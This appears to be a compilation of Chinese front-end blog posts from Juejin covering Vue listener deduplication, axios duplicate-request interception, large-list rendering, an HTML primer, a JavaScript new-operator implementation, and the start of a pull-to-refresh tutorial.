// 处理业务逻辑
}
}
}
</script>


现场预览


彦祖们,让我们来看一下模拟的现场


我们期望的效果应该是 onmessage 收到消息后,会发送一次请求


但是目前来看显然是发送了 6 次请求


实际线上更为复杂可能高达 20 倍,30 倍...这是非常可怕的事


2023-11-26 11.13.35.gif


开始动刀


接下来让我们一步步来切除这个监听器肿瘤,让终端变得更轻松


定位重复的监听器


现象已经比较明显了


彦祖们大致能猜想到是因为绑定了过多的 onmessage 监听器导致过多的重复逻辑.


我们可以借助 getEventListeners API 来看下指定对象的绑定事件



这个 API 只能在浏览器中调试,无法在代码中使用



chrome devTools 执行一下 getEventListeners(window)


很明显有 6 个重复的监听器(1个 Parent.vue + 5个 Child.vue)


image.png


getEventListeners 介绍


彦祖们这个 API 对于事件监听类的代码优化还是蛮有效的


我们还可以右键 listener 定位到具体的赋值函数
2023-11-26 11.25.18.gif


切除重复的监听器


目标已经很明确了,我们只需要一个 onmessage 监听器就足够了


那么把 child.vuemixins的监听器移除不就好了吗?


彦祖们可能会想到最简单的方案,就是把 mixins 改成函数形式,通过传参判断是否需要添加监听器


但是因为实际业务的复杂性,上文中也提到了 mixins 同时也被其他多个文件所引用,最终这个方案被 pass 了


那么我们可以反向思考一下,只给 Parent.vue 添加监听器


需要一个辅助函数来判断是否为 Parent.vue,直接看代码吧


const isSelfByComponentName = (vm, componentName) => {
// 这里借助了 element 的思路,新增了 componentName 属性,不影响 name 属性
return vm.$options.componentName === componentName
}

让我们来测试一下,很完美,为什么第一个 true 就能确定是父组件呢?


如果不了解的彦祖,建议你看下父子组件的加载渲染顺序


image.png


此时的



  • mixins.js


const isSelfComponentName = (vm, componentName) => {
return vm.$options.componentName === componentName
}

export const wsMixin = {
created() {
console.log('__SY__🍦 ~ created ~ isSelfComponentName', isSelfComponentName(this, 'Parent'))
if (isSelfComponentName(this, 'Parent')) window.addEventListener('onmessage', this.onmessage)
},
beforeDestory() {
window.removeEventListener('onmessage', this.onmessage)
},
methods: {
async onmessage(e) {
// 开始处理业务逻辑,这里用 fetch 接口代替
fetch(`https://api.example.com/${Date.now()}`)
console.log('__SY__🍦 ~ onmessage ~ e:', e)
// 省略处理统一逻辑....

// 开始处理对应的业务逻辑
this.onWsMessage(e.detail)
}
}
}

如何进行子组件的消息分发?


前面我们已经把多余的监听器给切除了,网络请求的确变成了 1s一次, 但是新问题随即出现了


2023-11-26 12.18.50.gif


我们会发现此时只有Parent.vue触发了onWsMessage


child.vue的对应的 onWsMessage 并没有触发


那么此时的核心问题就是 如何从父组件的监听事件中分发消息给多个子组件?


利用观察者模式思想解决消息分发


我们可以借助观察者模式思想来实现这个功能


解决这个问题还有个前提,我们得知道哪些组件是 Parent.vue的子组件


同样我们需要借助一个辅助函数,直接安排


const isChildOf = (vm, componentName) => {
let parent = vm.$parent
// 这里为什么要向上遍历呢?因为前面提到了,子组件的层级是不固定的
while (parent) {
if (parent.$options.componentName === componentName) return true
parent = parent.$parent
}
return false
}

测试一下,不用看 就是自信


image.png


核心代码


彦祖们核心代码来了!


我们在 mixins.js 初始化一个 observerList=[], 用来存储子组件的 onWsMessage方法


created() {
if (isSelfComponentName(this, 'Parent')) {
observerList.push(this.onWsMessage) // 统一由 observerList 管理
window.addEventListener('onmessage', this.onmessage)
} else if(isChildOf(this,'Parent') {
observerList.push(this.onWsMessage)
}
}

收到消息后进行分发


methods: {
async onmessage(e) {
// 开始处理业务逻辑,这里用 fetch 接口代替
fetch(`https://api.example.com/${Date.now()}`)

// 省略业务逻辑....

// 这里我们就要遍历 observerList
observerList.forEach(observer=>observer(e.detail))
}
}

看下优化后的效果
接口 1s一次,各组件也完整的接受到了信息


2023-11-26 12.16.25.gif


当然,除此之外,笔者还做了很多的性能优化手段
比如


1.把大量的 O(n^2) 的算法降维到了 O(n)


2.把非实时性数据做了节流保护


3.大量的template表达式语法迁移到了 computed


4.针对重复的赋值更新逻辑进行了拦截


5.利用 requestIdleCallback 在空闲帧执行 echarts 的渲染


写在最后


之前有彦祖问过笔者,什么才算是面试简历中的亮点


如果笔者是面试官,我觉得 能用最细碎的知识点 解决最复杂的业务问题 绝对算的上是项目亮点


文中的各个知识点,彦祖们应该都非常熟悉


能把你的八股文知识,转换成真正解决业务问题的能力,这是非常难得的


个人能力有限


如有不对,欢迎指正🌟 如有帮助,建议小心心大拇指三连🌟


作者:前端手术刀
来源:juejin.cn/post/7304973928039284777
收起阅读 »

前端接口防止重复请求实现方案

web
前言 前段时间老板心血来潮,要我们前端组对整个的项目都做一下接口防止重复请求的处理(似乎是有用户通过一些快速点击薅到了一些优惠券啥的)。。。听到这个需求,第一反应就是,防止薅羊毛最保险的方案不还是在服务端加限制吗?前端加限制能够拦截的毕竟有限。可老板就是执意要...
继续阅读 »

前言


前段时间老板心血来潮,要我们前端组对整个的项目都做一下接口防止重复请求的处理(似乎是有用户通过一些快速点击薅到了一些优惠券啥的)。。。听到这个需求,第一反应就是,防止薅羊毛最保险的方案不还是在服务端加限制吗?前端加限制能够拦截的毕竟有限。可老板就是执意要前端搞一下子,行吧,搞就搞吧,you happy jiu ok


虽然大部分的接口处理我们都是加了loading的,但又不能确保真的是每个接口都加了的,可是如果要一个接口一个接口的排查,那这维护了四五年的系统,成百上千的接口肯定要耗费非常多的精力,根本就是不现实的,所以就只能去做全局处理。下面就来总结一下这次的防重复请求的实现方案:


方案一


这个方案是最容易想到也是最朴实无华的一个方案:通过使用axios拦截器,在请求拦截器中开启全屏Loading,然后在响应拦截器中将Loading关闭。


image.png

这个方案固然已经可以满足我们目前的需求,但不管三七二十一,直接搞个全屏Loading还是不太美观,何况在目前项目的接口处理逻辑中还有一些局部Loading,就有可能会出现Loading套Loading的情况,两个圈一起转,头皮发麻。


方案二


加Loading的方案不太友好,而对于同一个接口,如果传参都是一样的,一般来说都没有必要连续请求多次吧。那我们可不可以通过代码逻辑直接把完全相同的请求给拦截掉,不让它到达服务端呢?这个思路不错,我们说干就干。


首先,我们要判断什么样的请求属于是相同请求


一个请求包含的内容不外乎就是请求方法地址参数以及请求发出的页面hash。那我们是不是就可以根据这几个数据把这个请求生成一个key来作为这个请求的标识呢?


// 根据请求生成对应的key
function generateReqKey(config, hash) {
const { method, url, params, data } = config;
return [method, url, JSON.stringify(params), JSON.stringify(data), hash].join("&");
}

有了请求的key,我们就可以在请求拦截器中把每次发起的请求给收集起来,后续如果有相同请求进来,那都去这个集合中去比对,如果已经存在了,说明就是一个重复的请求,我们就给拦截掉。当请求完成响应后,再将这个请求从集合中移除。合理,nice!


具体实现如下:


image.png

是不是觉得这种方案还不错,万事大吉?


no,no,no! 这个方案虽然理论上是解决了接口防重复请求这个问题,但是它会引发更多的问题。


比如,我有这样一个接口处理:


image.png


那么,当我们触发多次请求时:


image.png

这里我连续点击了4次按钮,可以看到,的确是只有一个请求发送出去,可是因为在代码逻辑中,我们对错误进行了一些处理,所以就将报错消息提示了3次,这样是很不友好的,而且,如果在错误捕获中有做更多的逻辑处理,那么很有可能会导致整个程序的异常。


而且,这种方案还会有另外一个比较严重的问题


我们在上面在生成请求key的时候把hash考虑进去了(如果是history路由,可以将pathname加入生成key),这是因为项目中会有一些数据字典型的接口,这些接口可能有不同页面都需要去调用,如果第一个页面请求的字典接口比较慢,第二个页面的接口就被拦截了,最后就会导致第二个页面逻辑错误。那么这么一看,我们生成key的时候加入了hash,讲道理就没问题了呀。


可是倘若我这两个请求是来自同一个页面呢?


比如,一个页面同时加载两个组件,而这两个组件都需要调用某个接口时:


image.png

那么此时,后调接口的组件就无法拿到正确数据了。啊这,真是难顶!


方案三


方案二的路子,我们发现确实问题重重,那么接下来我们来看第三种方案,也是我们最终采用的方案。


延续我们方案二的前面思路,仍然是拦截相同请求,但这次我们可不可以不直接把请求挂掉,而是对于相同的请求我们先给它挂起,等到最先发出去的请求拿到结果回来之后,把成功或失败的结果共享给后面到来的相同请求


image.png

思路我们已经明确了,但这里有几个需要注意的点:



  • 我们在拿到响应结果后,返回给之前我们挂起的请求时,我们要用到发布订阅模式(日常在面试题中看到,这次终于让我给用上了(^▽^))

  • 对于挂起的请求,我们需要将它拦截,不能让它执行正常的请求逻辑,所以一定要在请求拦截器中通过return Promise.reject()来直接中断请求,并做一些特殊的标记,以便于在响应拦截器中进行特殊处理


最后,直接附上完整代码:


import axios from "axios"

let instance = axios.create({
baseURL: "/api/"
})

// 发布订阅
class EventEmitter {
constructor() {
this.event = {}
}
on(type, cbres, cbrej) {
if (!this.event[type]) {
this.event[type] = [[cbres, cbrej]]
} else {
this.event[type].push([cbres, cbrej])
}
}

emit(type, res, ansType) {
if (!this.event[type]) return
else {
this.event[type].forEach(cbArr => {
if(ansType === 'resolve') {
cbArr[0](res)
}else{
cbArr[1](res)
}
});
}
}
}


// 根据请求生成对应的key
function generateReqKey(config, hash) {
const { method, url, params, data } = config;
return [method, url, JSON.stringify(params), JSON.stringify(data), hash].join("&");
}

// 存储已发送但未响应的请求
const pendingRequest = new Set();
// 发布订阅容器
const ev = new EventEmitter()

// 添加请求拦截器
instance.interceptors.request.use(async (config) => {
let hash = location.hash
// 生成请求Key
let reqKey = generateReqKey(config, hash)

if(pendingRequest.has(reqKey)) {
// 如果是相同请求,在这里将请求挂起,通过发布订阅来为该请求返回结果
// 这里需注意,拿到结果后,无论成功与否,都需要return Promise.reject()来中断这次请求,否则请求会正常发送至服务器
let res = null
try {
// 接口成功响应
res = await new Promise((resolve, reject) => {
ev.on(reqKey, resolve, reject)
})
return Promise.reject({
type: 'limiteResSuccess',
val: res
})
}catch(limitFunErr) {
// 接口报错
return Promise.reject({
type: 'limiteResError',
val: limitFunErr
})
}
}else{
// 将请求的key保存在config
config.pendKey = reqKey
pendingRequest.add(reqKey)
}

return config;
}, function (error) {
return Promise.reject(error);
});

// 添加响应拦截器
instance.interceptors.response.use(function (response) {
// 将拿到的结果发布给其他相同的接口
handleSuccessResponse_limit(response)
return response;
}, function (error) {
return handleErrorResponse_limit(error)
});

// 接口响应成功
function handleSuccessResponse_limit(response) {
const reqKey = response.config.pendKey
if(pendingRequest.has(reqKey)) {
let x = null
try {
x = JSON.parse(JSON.stringify(response))
}catch(e) {
x = response
}
pendingRequest.delete(reqKey)
ev.emit(reqKey, x, 'resolve')
delete ev.reqKey
}
}

// 接口走失败响应
function handleErrorResponse_limit(error) {
if(error.type && error.type === 'limiteResSuccess') {
return Promise.resolve(error.val)
}else if(error.type && error.type === 'limiteResError') {
return Promise.reject(error.val);
}else{
const reqKey = error.config.pendKey
if(pendingRequest.has(reqKey)) {
let x = null
try {
x = JSON.parse(JSON.stringify(error))
}catch(e) {
x = error
}
pendingRequest.delete(reqKey)
ev.emit(reqKey, x, 'reject')
delete ev.reqKey
}
}
return Promise.reject(error);
}

export default instance;

补充


到这里,这么一通操作下来上面的代码讲道理是万无一失了,但不得不说,线上的情况仍然是复杂多样的。而其中一个比较特殊的情况就是文件上传


image.png

可以看到,我在这里是上传了两个不同的文件的,但只调用了一次上传接口。按理说是两个不同的请求,可为什么会被我们前面写的逻辑给拦截掉一个呢?


我们打印一下请求的config:


image.png

可以看到,请求体data中的数据是FormData类型,而我们在生成请求key的时候,是通过JSON.stringify方法进行操作的,而对于FormData类型的数据执行该函数得到的只有{}。所以,对于文件上传,尽管我们上传了不同的文件,但它们所发出的请求生成的key都是一样的,这么一来就触发了我们前面的拦截机制。


那么我们接下来我们只需要在我们原来的拦截逻辑中判断一下请求体的数据类型即可,如果含有FormData类型的数据,我们就直接放行不再关注这个请求就是了。


function isFileUploadApi(config) {
return Object.prototype.toString.call(config.data) === "[object FormData]"
}

最后


到这里,整个的需求总算是完结啦!不用一个个接口的改代码,又可以愉快的打代码了,nice!


Demo地址


作者:沽汣
来源:juejin.cn/post/7341840038964363283
收起阅读 »

我的发!被后端五万条数据爆破我是怎么处理的

web
前言 今天面试的时候面试官直接问了一句后端一次性返回10万条数据给你,你如何处理?,我脑中浮现的第一句话就是拿着物理学圣剑找后端进行 “友好的协商”,谁打赢了听谁的。不过虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将带着大家一些处理方案。...
继续阅读 »

前言


今天面试的时候面试官直接问了一句后端一次性返回10万条数据给你,你如何处理?,我脑中浮现的第一句话就是拿着物理学圣剑找后端进行 “友好的协商”,谁打赢了听谁的。不过虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将带着大家一些处理方案。


正文


方案一 直接渲染


如果请求到10万条数据直接渲染,页面会卡死的,很显然,这种方式是不可取的。 pass!


 async getData() {
this.loading = true;
const res = await axios.get("/api/getData");
this.arr = res.data.data;
this.loading = false;
}

方案二 setTimeout分页渲染


这个方法就是,把10w按照每页数量limit分成总共Math.ceil(total / limit)页,然后利用setTimeout,每次渲染1页数据,这样的话,渲染出首页数据的时间大大缩减了。


const renderData = async () => {
const Data = await getData()
const total = Data.length

const page = 0
//每页数量
const limit = 200
//总页数
const totalPage = Math.ceil(total / limit)

const render = (page) => {
if (page >= totalPage) return
setTimeout(() => {
for (let i = page * limit; i < page * limit + limit; i++) {
const item = Data[i]
const div = document.createElement('div')
div.className = 'sunshine'
div.innerHTML = `${item.src}" />${item.text}`
container.appendChild(div)
}
render(page + 1)
}, 0)
}

render(page)
}

方案三 requestAnimationFrame


使用requestAnimationFrame代替setTimeout,减少了重排的次数,极大提高了性能,建议大家在渲染方面多使用requestAnimationFrame


const renderData = async () => {
const Data = await getData()
const total = Data.length

const page = 0
//每页数量
const limit = 200
//总页数
const totalPage = Math.ceil(total / limit)


const render = (page) => {
if (page >= totalPage) return
// 使用requestAnimationFrame代替setTimeout
requestAnimationFrame(() => {
for (let i = page * limit; i < page * limit + limit; i++) {
const item = Data[i]
const div = document.createElement('div')
div.className = 'sunshine'
div.innerHTML = `${item.src}" />${item.text}`
container.appendChild(div)
}
render(page + 1)
})
}

render(page)
}

方案四 表格滚动触底加载


原理很简单,就是在列表尾部放一个空节点,然后先渲染第1页数据,向上滚动,等到空节点出现在视图中,就说明到底了,这时候再加载第二页,往后以此类推。


至于怎么判断blank出现在视图上,可以使用getBoundingClientRect方法获取top属性。也可以用 js 的IntersectionObserver API 来实现




<template>
<div id="container" @scroll="handleScroll" ref="container">
<div class="sunshine" v-for="(item) in showList" :key="item.tid">
<img :src="item.src" />
<span>{{ item.text }}span>

div>
<div ref="blank">div>
div>
template>

方案五 虚拟列表


什么是虚拟列表?


所谓的虚拟列表实际上是前端障眼法的一种表现形式。


看到的好像所有的数据都渲染了,实际上只渲染可视区域的部分罢了。如果10万条数据都渲染,那得需要多少dom节点元素呢?所以我们只给用户看,他当下能看到的如果用户要下拉滚动条或者上拉滚动条再把对应的内容呈现在可视区域内。这样就实现了看着像是所有的dom元素每一条数据都有渲染的障眼法效果了


实现


<template>

<div
class="virtualListWrap"
ref="virtualListWrap"
@scroll="handleScroll"
:style="{ height: itemHeight * count + 'px' }"
>


<div
class="placeholderDom"
:style="{ height: allListData.length * itemHeight + 'px' }"
>
div>

<div class="contentList" :style="{ top: topVal }">

<div
v-for="(item, index) in showListData"
:key="index"
class="itemClass"
:style="{ height: itemHeight + 'px' }"
>

{{ item.name }}
div>
div>

<div class="loadingBox" v-show="loading">
<i class="el-icon-loading">i>
  <span>loading...span>
div>
div>
template>

作者:笨鸟更要先飞
来源:juejin.cn/post/7338636024212504613
收起阅读 »

HTML简介:想成为前端开发者?先从掌握HTML开始!

在这个数字化的时代,我们每天都在与网页打交道。你是否曾经好奇过,这些充满魔力的网页是如何诞生的呢?今天,我们就来揭开构成这些网页的神秘面纱——HTML(超文本标记语言)。一、什么是HTML网页的基本组成网页是构成网站的基本元素,通常由图片、链接、文字、声音、视...
继续阅读 »

在这个数字化的时代,我们每天都在与网页打交道。你是否曾经好奇过,这些充满魔力的网页是如何诞生的呢?今天,我们就来揭开构成这些网页的神秘面纱——HTML(超文本标记语言)。

一、什么是HTML

网页的基本组成

网页是构成网站的基本元素,通常由图片、链接、文字、声音、视频等元素组成,通常我们看见的网页都是.htm和.html后缀结尾的文件,因为都称为HTML文件。

什么是HTML

HTML 英文全称是 Hyper Text Markup Language,中文译为“超文本标记语言”,专门用来设计和编辑网页。

Description

使用 HTML 编写的文件称为“HTML 文档”,一般后缀为.html(也可以使用.htm,不过比较少见)。HTML 文档是一种纯文本文件,您可以使用 Windows 记事本、Linux Vim、Notepad++、Sublime Text、VS Code 等文本编辑来打开或者创建。

每个网页都是一个 HTML 文档,使用浏览器访问一个链接(URL),实际上就是下载、解析和显示 HTML 文档的过程。将众多 HTML 文档放在一个文件夹中,然后提供对外访问权限,就构成了一个网站。

二、HTML的历史

HTML的故事始于1989年,当时蒂姆·伯纳斯-李在欧洲核子研究中心(CERN)提出了一个名为“万维网”的概念。

为了实现这一概念,他发明了HTML,并随后与罗伯特·卡里奥一起发明了HTTP协议。从那时起,HTML就成为了互联网不可或缺的一部分。
Description
上图简单罗列了HTML的发展历史,大家可以简单了解一下。

三、HTML相关概念

什么是标签

HTML 标记通常被称为 HTML 标签 (HTML tag)。HTML 标签是由尖括号包围的关键词,比如<html/>。

  • 封闭类型标记(也叫双标记),必须成对出现,如<p></p> 

  • 标签对中的第一个标签是开始标签,第二个标签是结束标签,开始和结束标签也被称为开放标签和闭合标签 。

  • 非封闭类型标记,也叫作空标记,或者单标记,如<br/>

<标签>内容<标签/>

什么是元素

“HTML 标签” 和 “HTML 元素” 通常都是描述同样的意思。但是严格来讲,一个HTML 元素包含了开始标签与结束标签,如下实例。

HTML 元素:

<p>这是一个段落</p>

web浏览器

Web 浏览器(如谷歌浏览器,Internet Explorer,Firefox,Safari)是用于读取 HTML 文件,并将其作为网页显示。浏览器并不是直接显示的 HTML 标签,但可以使用标签来决定如何展现 HTML页面的内容给用户:

Description

HTML 属性

属性是用来修饰元素的,属性必须位于开始标签里,一个元素的属性可能不止一个,多个属性之间用空格隔开,多个属性之间不区分先后顺序。

Description

每个属性都有值,属性和属性的值之间用等号链接,属性的值包含在引号当中,属性总是以名称/值对的形式出现。

四、HTML的基本结构

一个典型的HTML文档由以下几个基本元素构成:

  • <!DOCTYPE html>

这是文档类型声明,告诉浏览器这个文档使用的是HTML5标准。

  • <html>

这是整个HTML文档的根元素,其他所有元素都包含在这个标签内。

  • <head>

这个部分包含了所有关于网页的元信息,如标题、字符集声明、引入的CSS样式表和JavaScript文件等。

  • <title>

这个标签定义了网页的标题,它显示在浏览器的标题栏或标签页上。

  • <body>

这个部分包含了网页的所有内容,如文本、图片、链接、表格、列表等。

HTML的结构示例

让我们通过一个简单的例子来具体了解HTML的结构:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>我的第一个HTML页面</title>
</head>
<body>
<h1>欢迎来到我的网页!</h1>
<p>这是一个简单的段落。</p>
<a href="https://www.example.com">点击这里访问示例网站</a>
</body>
</html>

在这个例子中,我们可以看到一个完整的HTML文档结构,从<!DOCTYPE html>开始,到最后一个</html>结束。

想象一下,如果HTML是一棵树,那么<html>就是树干,<head>和<body>就像是树的两个主要分支。<head>中的标签好比是树叶,它们虽然不起眼,但却至关重要,为树木提供营养。而<body>中的标签则像是树枝和果实,它们构成了树的主体,吸引人们的目光。

想要快速入门HTML吗?推荐一个前端开发基础课程,这个老师讲的特别好,零基础学习无压力,知识点结合代码,边学边练,可以免费试看试学,还有各种辅助工具和资料,非常适合新手!

点这里前往学习哦!

五、HTML的特点

HTML的特点主要包括简易性、可扩展性、平台无关性和通用性等。具体如下:

1.简易性:
HTML是一种相对容易学习和使用的语言,它的版本升级通常采用超集方式,使得新版本能够兼容旧版本的标签和功能,这样既保持了向后兼容性,又能够灵活方便地引入新的功能。

2.可扩展性:
随着互联网的发展,HTML也在不断增加新的元素和属性来满足新的需求,如支持多媒体内容的嵌入、更丰富的表单控件等。这种设计使得HTML能够适应不断变化的网络环境。

3.平台无关性:
HTML编写的网页可以在不同的操作系统和浏览器上显示,这是因为HTML是一种与平台无关的语言。这意味着无论用户使用什么设备或浏览器,都能够访问和浏览HTML页面。

4.通用性:
HTML是网络的通用语言,它是一种简单的标记语言,用于创建和结构化网页内容。由于其广泛的支持和普及,几乎所有的设备和浏览器都能够解析和显示HTML内容。

5.支持多种媒体格式:
HTML不仅支持文本内容,还能够嵌入图片、音频、视频等多种媒体格式,这使得网页可以提供丰富的用户体验。

6.标准化:
HTML遵循万维网联盟(W3C)制定的国际标准,这意味着网页开发者可以根据这些标准来创建网页,确保网页的互操作性和可访问性。

7.标签丰富:
HTML提供了一系列的标签,如标题、列表、链接、表格等,这些标签使得开发者能够创建出结构清晰、功能丰富的网页。

综上所述,HTML作为一种基础的网页开发语言,因其易学易用、跨平台、多功能和高度标准化的特点,成为了构建现代网络内容的核心工具。

HTML作为连接世界的纽带,其重要性不言而喻。它是数字世界的基石,也是每个想要进入互联网领域的人必须掌握的技能。无论你是梦想成为前端开发者,还是仅仅想要更好地理解这个由代码构成的世界,学习HTML都是一个不错的开始。

收起阅读 »

面试官:能否三行代码实现JS的New关键字

web
谁能不相思,独在机中织。 探索 凡实践,需理论先行,在开始之前,我们要先具体了解一下new创建对象的具体过程。 new的this指向 或者说构造函数的this指向,先来看一个小的示例,思考一下,log打印出来的是什么? function Person(nam...
继续阅读 »

2021_08_26_08_27_IMG_0042.JPG



谁能不相思,独在机中织。



探索


凡实践,需理论先行,在开始之前,我们要先具体了解一下new创建对象的具体过程。


new的this指向


或者说构造函数的this指向,先来看一个小的示例,思考一下,log打印出来的是什么?


function Person(name, age) {
this.name = name;
this.age = age;
}

let person = new Person("后俊生", 18);
console.log(person.name); //后俊生
console.log(person.age); //18

很显然,大家都知道打印出来的分别是"后俊生", 18,那么,你有没有思考过这样的简单问题,为什么打印出来的是这些数据?


->我明明把参数传递给了构造函数Person,而不是实例person?参数为什么会附加到实例上边去了?


OK,带着这些思考,我们将代码稍稍改动,思考一下,打印出来的会是什么?


function Person(name, age) {
this.name = name;
this.age = age;
}

let person = new Person("后俊生");
console.log(person.name); //后俊生
console.log(person.age); //undefined

结果是"后俊生", undefined,我们把函数中this赋值语句注释,实例中的属性就没了,好像这两句话是给实例赋值的?是不是有了一些眉目了?


既然this.name = name是给实例person复制的,那么是不是this.name就是person.name,是不是this = person


bingo~,恭喜你,答对了,


构造函数中的this,指向的是实例本身!!!


构造函数的原型


我们将代码继续改造,向他的原型链上添加数据


function Person(name, age) {
this.name = name;
this.age = age;

function logIfo() {
console.log(age, 1);
return 1;
}
}

Person.prototype.habit = "Games";
Person.prototype.sayHi = function() {
console.log("Hi " + this.name);
};

let person = new Person("后俊生", 18);
console.log(person.name); //后俊生
console.log(person.age); //18
console.log(person.habit); //Games
person.sayHi(); //Hi 后俊生

由上面的代码,不难发现,当函数被使用new创建的时候,构造函数的原型链上的数据也会被添加到实例上。


返回值


以上都是没有返回值的情况,那么,如果函数有返回值呢?


那么我们将代码再次改造一下:


function Person(name, age) {
this.name = name;
this.age = age;

return {
hair: 'black',
gender: 'man'
}
}

let person = new Person("后俊生", 18);
console.log(person.name); //undefined
console.log(person.age); //undefined
console.log(person.hair); //black
console.log(person.gender); //man

我们发现,实例person上不存在name、age属性了,只包含返回对象的属性,好像我们构造的是返回对象的实例,那么,真的是这样吗?


再来看看这个代码


function Person(name, age) {
this.name = name;
this.age = age;

return 1;
}

let person = new Person("后俊生", 18);
console.log(person.name); //后俊生
console.log(person.age); //18

咦?什么情况,为什么这次又存在name、age属性了?


事实上: 如果函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error),那么new表达式中的函数调用会自动返回这个新的对象。


new方法思路


我们来总结一下new方法做的事情:



  1. 改边this,指向实例

  2. 将构造函数的原型复制到实例上

  3. 根据返回值类型决定实例的属性


这就是我们的new方法需要实现的功能,


最终实现:


之前写过一下实现方式,功能一样,但是不够优雅,这是我见过最优雅的解决方案,三行代码解决问题


function _new(fn, ...arg) {
//以一个现有对象作为原型,创建一个新对象,继承fn原型链上的属性
const obj = Object.create(fn.prototype);
// 使用 apply,改变构造函数 this 的指向到新建的对象,这样 obj 就可以访问到构造函数中的属性
const ret = fn.apply(obj, arg);
// 如果函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error),那么new表达式中的函数调用会自动返回这个新的对象。
return ret instanceof Object ? ret : obj;
}

测试


我们来做一下测试:


function Person(name, age) {
this.name = name;
this.age = age;

return {
hair: 'black',
gender: 'man'
}
}

let person = _new(Person,"后俊生", 18);
console.log(person.name); //undefined
console.log(person.age); //undefined
console.log(person.hair); //black
console.log(person.gender); //man

function Person(name, age) {
this.name = name;
this.age = age;

return 1;
}
Person.prototype.habit = "Games";

let person = _new(Person,"后俊生", 18);
console.log(person.name); //后俊生
console.log(person.age); //18
console.log(person.habit); //Games

发现,和我们使用new方法的结果一模一样,至此,new方法实现完成。


注意


这里的_new方法只能传入函数,不能传入class,因为class在使用apply时会报错。


const ret = fn.apply(obj, arg);
^

TypeError: Class constructor Person cannot be invoked without 'new'

引用


面试官问:能否模拟实现JS的new操作符 - 掘金


Object.create() - JavaScript | MDN


github.com/mqyqingfeng…


作者:十里八乡有名的后俊生
来源:juejin.cn/post/7280436307914309672
收起阅读 »

H5 下拉刷新如何实现

web
H5 下拉刷新如何实现 最近我需要做一个下拉刷新的功能,实现功能后我发现,它需要处理的情况还蛮多,于是我整理了这篇文章。 下图是我实现的效果,分为三步:开始下拉时,屏幕顶部会出现加载动画;加载过程中,屏幕顶部高度保持不变;加载完成后,加载动画隐藏。 首先我会...
继续阅读 »

H5 下拉刷新如何实现


最近我需要做一个下拉刷新的功能,实现功能后我发现,它需要处理的情况还蛮多,于是我整理了这篇文章。


下图是我实现的效果,分为三步:开始下拉时,屏幕顶部会出现加载动画;加载过程中,屏幕顶部高度保持不变;加载完成后,加载动画隐藏。


pull-down.gif


首先我会讲解下拉的原理、根据原理写出初始代码;然后我会说明代码存在的缺陷、解决缺陷并做些额外优化;最后我会给出完整代码,并做一个总结。


下拉的原理


prinple.png


如图所示,蓝色框代表视口,绿色框代表容器,橙色框代表加载动画。最开始时,加载动画处于视口外;开始下拉之后,容器向下移动,加载动画从上方进入视口;结束下拉后,容器又开始向上移动,加载动画也从上方退出视口。


下拉基础代码


知道原理,我们现在开始写实现代码,首先是布局的代码:


布局代码


我们把 box 元素当作容器,把 loader-box,loader-box + loading 元素当作动画,至于 h1 元素不需要关注,我们只把它当作操作提示。


<div id="box">
<div class="loader-box">
<div id="loading"></div>
</div>
<h1>下拉刷新 ↓</h1>
</div>

loader-box 的高度是 80px,按上一节原理中的分析,初始时我们需要让 loader-box 位于视口上方,因此 CSS 代码中我们需要把它的位置向上移动 80px。


.loader-box {
position: relative;
top: -80px;
height: 80px;
}

loader-box 中的 loader 是纯 CSS 的加载动画。我们利用 border 画出的一个圆形边框,左、上、右边框是浅灰色,下边框是深灰色:


loader.png


#loader {
width: 25px;
height: 25px;
border: 3px solid #ddd;
border-radius: 50%;
border-bottom: 3px solid #717171;
transform: rotate(0deg);
}

开始刷新时,我们给 loader 元素增加一个动画,让它从 0 度到 360 度无限旋转,就实现了加载动画:


loading.gif


#loader.loading {
animation: loading 1s linear infinite;
}

@keyframes loading {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}

逻辑代码


看完布局代码,我们再看逻辑代码。逻辑代码中,我们要监听用户的手指滑动、实现下拉手势。我们需要用到三个事件:



touchstarttouchmove 事件中我们可以获取手指的坐标,比如 event.touches[0].clientX 是手指相对视口左边缘的 X 坐标,event.touches[0].clientY 是手指相对视口上边缘的 Y 坐标;从 touchend 事件中我们则无法获得 clientXclientY


我们可以先记录用户手指 touchstart 的 clientY 作为开始坐标,记录用户最后一次触发 touchmove 的 clientY 作为结束坐标,二者相减就得到手指移动的距离 distanceY。


设置手指移动多少距离,容器就移动多少距离,就得到了我们的逻辑代码:


const box = document.getElementById('box')
const loader = document.getElementById('loader')
let startY = 0, endY = 0, distanceY = 0

function start(e) {
startY = e.touches[0].clientY
}

function move(e) {
endY = e.touches[0].clientY
distanceY = endY - startY
box.style = `
transform: translateY(${distanceY}px);
transition: all 0.3s linear;
`

}

function end() {
setTimeout(() => {
box.style = `
transform: translateY(0);
transition: all 0.3s linear;
`

loader.className = 'loading'
}, 1000)
}

box.addEventListener('touchstart', start)
box.addEventListener('touchmove', move)
box.addEventListener('touchend', end)

逻辑代码实现一个简陋的下拉效果,当然现在还有很多缺陷。


pull-down-basic.gif


简陋下拉效果的 6 个缺陷


之前我们实现了简陋的下拉效果,它还需要解决 6 个缺陷,才能算一个完善的功能。


没有最小、最大距离限制


第一个缺陷是,下拉没有做最小、最大距离的限制。


通常来说,我们下拉屏幕时,距离太小应该不能触发刷新,距离太大也不行,下滑到一定距离后,就应该无法继续下滑。


因此我们可以给下拉设置最小距离限制 DISTANCE_Y_MIN_LIMIT、最大距离限制 DISTANCE_Y_MAX_LIMIT。如果 touchend 中发现下拉距离小于最小距离,直接不触发加载;如果 touchmove 中下拉距离超过最大距离,页面只向下移动最大距离。


解决缺陷关键代码如下:


const DISTANCE_Y_MAX_LIMIT = 150
DISTANCE_Y_MIN_LIMIT = 80

function move(e) {
endY = e.touches[0].clientY
distanceY = endY - startY
if (distanceY > DISTANCE_Y_LIMIT) {
distanceY = DISTANCE_Y_LIMIT
}
box.style = `
transform: translateY(${distanceY}px);
transition: all 0.3s linear;
`

}

function end() {
if (distanceY < DISTANCE_Y_MIN_LIMIT) {
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`

return
}
...
}

加载动画没有停留在视口顶部


第二个缺陷是,下拉没有让加载动画停留在视口顶部。


